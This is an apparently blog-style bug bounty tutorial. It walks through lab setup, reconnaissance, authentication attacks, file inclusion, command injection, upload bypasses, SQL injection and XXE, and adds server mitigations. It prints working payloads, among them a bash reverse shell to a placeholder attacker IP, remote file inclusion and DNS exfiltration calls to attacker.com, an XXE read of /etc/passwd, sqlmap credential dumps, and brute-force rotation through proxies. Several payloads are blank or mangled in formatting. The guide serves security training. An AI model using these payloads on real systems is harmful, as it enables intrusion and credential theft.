Mastering Bug Bounty: From OWASP Top 10 to Advanced Web Exploitation – A Hands-On Training Guide + Video

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Introduction:

Bug bounty hunting has evolved into a critical cybersecurity discipline where ethical hackers uncover vulnerabilities before malicious actors exploit them. This article synthesizes core concepts from a professional bug bounty training program, covering everything from lab setup to advanced injection attacks, while providing actionable commands and step‑by‑step tutorials. Whether you are preparing for certifications like OSCP or seeking to sharpen your web application penetration testing skills, the following guide delivers verified techniques across Linux, Windows, and cloud‑based testing environments.

Learning Objectives:

  • Set up a complete penetration testing lab with vulnerable web applications and reconnaissance tools.
  • Execute information gathering, authentication bypass, and session management attacks using real‑world commands.
  • Perform and mitigate critical web flaws including SQLi, XSS, LFI/RFI, SSRF, and XXE injection.

You Should Know:

  1. Building Your Pentest Lab – A Step‑by‑Step Environment Setup

A dedicated lab is the foundation of safe bug bounty practice. The training program highlights “Pentest Lab Setup” as a prerequisite. Below is an extended guide for creating an isolated testing environment on both Linux and Windows.

Step‑by‑step guide:

  • Install a hypervisor (VMware Workstation Player or VirtualBox). On Linux (Ubuntu/Debian):
    `sudo apt update && sudo apt install virtualbox -y`
    On Windows: download VirtualBox from official site and run installer.

  • Deploy vulnerable targets:
    Download OWASP Broken Web Applications (BWA) VM and VulnHub machines (e.g., DVWA, bWAPP). Import the OVA file:

`VBoxManage import /path/to/owasp-bwa.ova`

  • Set up attack machine: Install Kali Linux (or Parrot OS) as your attacker VM. Use NAT network or Host‑Only to ensure isolation. Verify connectivity:

`ping -c 4 `

  • Configure browser for proxying: Install FoxyProxy extension and set up Burp Suite Community Edition.

On Kali: `sudo apt install burpsuite -y`

Launch Burp, set proxy listener to 127.0.0.1:8080, and configure browser to use it.

  • Install reconnaissance tools:
    `sudo apt install nmap ffuf gobuster dirb wfuzz whatweb nikto -y`
    For Windows, use WSL2 or standalone binaries from GitHub.

This lab replicates real bug bounty environments and allows safe practice of every technique listed in the training’s table of contents.

  1. Information Gathering & Reconnaissance – Active and Passive Techniques

Reconnaissance determines the attack surface. The training module covers both passive (OSINT) and active scanning methods.

Step‑by‑step guide for subdomain enumeration and fingerprinting:

  • Passive subdomain discovery (no direct traffic to target):
    Use Amass in passive mode: `amass enum -passive -d example.com -o subdomains.txt`
    Use crt.sh: `curl -s “https://crt.sh/?q=%.example.com&output=json” | jq -r ‘.[].name_value’ | sort -u`
  • Active subdomain brute‑forcing with GoBuster:

`gobuster dns -d example.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -o active_subs.txt`

  • HTTP/HTTPS probing to find live hosts:
    `cat subdomains.txt | httpx -status-code -title -tech-detect -o live_hosts.txt`
  • Directory and file fuzzing to discover hidden endpoints:
    `ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -recursion -e .php,.asp,.bak`
  • Technology stack detection:
    `whatweb https://example.com`
    For CMS detection: `wpscan –url https://example.com –enumerate vp(WordPress) or `droopescan scan drupal -u https://example.com`

    These steps mirror professional bug bounty workflows, helping hunters map the target thoroughly before any exploitation attempt.

    3. Broken Authentication & Session Management – Exploitation and Mitigation

    This critical area (highlighted in the training’s attached PDF guide) addresses vulnerabilities like credential stuffing, session fixation, and weak password recovery.

    Step‑by‑step guide to test authentication flaws:

    - Password spraying attack (Linux using Hydra):
    `hydra -L userlist.txt -p 'Spring2026!' https-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" -V

  • Session fixation testing – Manually set a known session cookie and verify if the application accepts it without re‑authentication.
    Using Burp Suite: intercept login response, copy `Set-Cookie` value, then in another browser or incognito window, modify `Cookie` header to that value before accessing authenticated pages.

  • Brute‑force protection bypass by rotating IPs (using proxy chains or VPN):

`proxychains hydra …` (configure `/etc/proxychains4.conf` with SOCKS5 proxies)

  • JWT token testing – Weak secret brute forcing:
    `jwt_tool ` or `hashcat -a 0 -m 16500 jwt.txt rockyou.txt`
  • Session timeout checks: Capture session cookie, wait longer than the configured timeout (e.g., 30 minutes), then reuse it. Expected behaviour: 401/403.

Mitigation commands for developers (Linux server hardening):

`sudo apt install libapache2-mod-security2` (enable ModSecurity), configure `SecRule` to block rapid login attempts.

Implement rate limiting via `iptables`:

`sudo iptables -A INPUT -p tcp –dport 80 -m limit –limit 25/minute –limit-burst 100 -j ACCEPT`

4. Local/Remote File Inclusion & Path Traversal – From Discovery to Shell

LFI/RFI vulnerabilities allow attackers to read sensitive files or execute remote code. The training covers these in depth.

Step‑by‑step guide for exploitation:

  • Detect LFI by injecting payloads into parameters like page=, file=, path=:
    `curl “https://target.com/view?page=../../../../etc/passwd”`
    On Windows targets: `curl “https://target.com/view?page=..\..\windows\win.ini”`
  • Advanced LFI to RCE via log poisoning (assuming PHP):
  1. Inject PHP code into User-Agent: ``
  2. Access Apache log file via LFI: `curl “https://target.com/view?page=../../../../var/log/apache2/access.log&cmd=id”`

– RFI (if `allow_url_include` is On):
Host a malicious PHP script on your server, then:
`curl “https://target.com/index.php?page=http://attacker.com/shell.txt&cmd=whoami”`

– Path traversal mitigation – Configure web server:
For Apache: `Options -Indexes` and use `Require all denied` for sensitive directories.
For Nginx: `location ~ /(etc|var|proc) { deny all; }`

– Automation with dotdotpwn:
`dotdotpwn -m http -h target.com -u “/load?file=TRAVERSAL” -O -k “root:”`

5. OS Command Injection & Unrestricted File Upload – Gaining Foothold

Command injection and file upload flaws frequently lead to complete system compromise. The training provides hands‑on coverage.

Step‑by‑step guide:

  • Testing for blind command injection (using time delays):
    Parameter `ping=127.0.0.1` – inject `127.0.0.1; sleep 5` and measure response time.
    For Windows: `127.0.0.1 & ping -n 5 127.0.0.1 &`
  • Out‑of‑band (OOB) data exfiltration using DNS:
    `curl “https://target.com/search?query=test$(nslookup attacker.com)”`
  • Reverse shell via command injection (Linux target):

Payload: `; bash -i >& /dev/tcp/attacker_IP/4444 0>&1`

Set up listener: `nc -lvnp 4444`

  • Unrestricted file upload – bypass techniques:
  • Double extension: `shell.php.jpg`
  • MIME type tampering: `curl -F “[email protected];type=image/jpeg” https://target.com/upload`
  • Null byte injection (legacy systems): `shell.php%00.jpg`
  • Content‑based bypass: add `GIF89a;` at the beginning of PHP script.

  • Upload to RCE – locate uploaded file via directory brute‑forcing.
    Use Gobuster: `gobuster dir -u https://target.com/uploads -w /usr/share/wordlists/dirb/big.txt -x php,asp,aspx,jsp`

  • Mitigation commands – secure upload directory with `.htaccess` (Apache):

`php_flag engine off`

And set `upload_max_filesize`, `AllowedExtensions` in application code.

  1. SQL Injection & XXE Injection – Automating Data Theft

SQL injection remains a top OWASP risk. The training dedicates entire sections to these database attacks.

Step‑by‑step guide with sqlmap automation:

  • Manual SQLi detection – parameter `id=1` → try `id=1’` → error message indicates vulnerability.

Union‑based extraction:

`id=1 UNION SELECT null, database(), user(), version() –`

  • Automated exploitation using sqlmap:
    `sqlmap -u “https://target.com/product?id=1” –dbs –batch`
    Extract tables: `sqlmap -u “https://target.com/product?id=1” -D database_name –tables`
    Dump credentials: `sqlmap -u “https://target.com/product?id=1” -D db -T users -C username,password –dump`
  • Time‑based blind SQLi:

`id=1 AND IF(1=1, SLEEP(5), 0)` – observe delay.

  • XXE injection – send XML payload: 
    <?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>

    For OOB XXE: ``

  • Mitigation on Linux: Disable external entities in PHP (libxml_disable_entity_loader(true)), in Java (set XMLConstants.FEATURE_SECURE_PROCESSING), and use parameterized queries for SQLi.

What Undercode Say:

  • Professional bug bounty training bridges the gap between theoretical OWASP knowledge and real‑world exploitation, providing hands‑on lab setups and command‑level tutorials essential for any penetration tester.
  • Incorporating both Linux and Windows commands, along with cloud hardening techniques, ensures relevance across diverse enterprise environments – from local file inclusion to XXE injection, every step must be practiced safely in isolated labs.
  • The availability of structured programs like Ignite Technologies’ Bug Bounty Training, supplemented by free resources from Hacking Articles and GitHub repositories, accelerates skill development for red teamers and SOC analysts alike.
  • Automation using tools like sqlmap, ffuf, and Burp Suite, combined with manual verification, represents the most efficient workflow for bug bounty hunters under tight disclosure deadlines.
  • Session management and broken authentication remain the most overlooked yet highly rewarded vulnerabilities – mastering JWT attacks, rate‑limit bypasses, and password reset poisoning gives hunters a competitive edge.
  • API security (not fully listed but implied in modern curricula) should be an immediate next step after mastering traditional web attacks, as cloud and microservices expand the attack surface.

Prediction:

As bug bounty programs scale globally, training initiatives will increasingly shift toward AI‑assisted reconnaissance and automated vulnerability chaining. The demand for professionals who can not only run tools but also interpret results, bypass custom defenses, and write detailed reports will skyrocket. In the next 18 months, we expect certification bodies (like OffSec and CREST) to integrate real‑time collaborative hacking simulators, while organizations will prioritize hiring candidates with proven bug bounty track records over traditional degree programs. The convergence of machine learning for traffic analysis and traditional injection attacks will create a new wave of “adaptive” exploitation techniques, forcing defensive teams to adopt runtime application self‑protection (RASP) and behavior‑based detection. Beginners who follow structured training like the one outlined above, complete with lab commands and step‑by‑step guides, will be best positioned to capture high‑value bounties before automation replaces manual ingenuity.

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